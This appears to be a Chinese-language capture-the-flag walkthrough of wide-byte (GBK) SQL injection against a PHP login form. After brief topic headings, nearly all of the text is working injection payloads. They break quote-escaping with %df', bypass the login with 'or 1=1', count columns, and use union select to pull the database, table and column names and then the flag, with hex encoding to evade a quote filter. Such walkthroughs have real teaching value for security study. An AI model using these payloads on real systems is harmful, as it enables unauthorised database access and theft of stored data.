字符编码
url 编码
GBK编码
utf8 编码
宽字节注入
php中的转译函数
宽字节注入介绍
练习
正常输入没有回显:
没有回显
username=admin&password=admin
闭合单引号,依旧没有回显
username=admin' and 1=1%23&password=admin
利用宽字节尝试闭合,依旧没有回显
username=admin%df' and 1=1%23&password=admin
换成or连接,回显admin,说明数据库里面没有admin,导致前面的admin是flase,后面是true,and需要保证两个都是ture才能返回ture
username=admin%df' or 1=1%23&password=admin
下面我们之间用常规的union来获取数据,先用order by 来测试列数:
username=admin%df' order by 4 select 1,2,3%23
报错回显了,没有那么多列数,说明只有三列:
我们接着用union来测试回显位:
username=admin%df' union select 1,2,3%23
拿到回显列后,直接开始拿数据:
拿库名
username=admin%df' union select 1,database(),3%23&password=admin
拿表名
username=admin%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin
拿列名 #这里的0x666c6167是flag转成16进制后的编码,因为单引号被过滤了,所以通过编码绕过
username=admin%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin
拿数据
username=admin%df' union select 1,flag,3 from flag%23&password=admin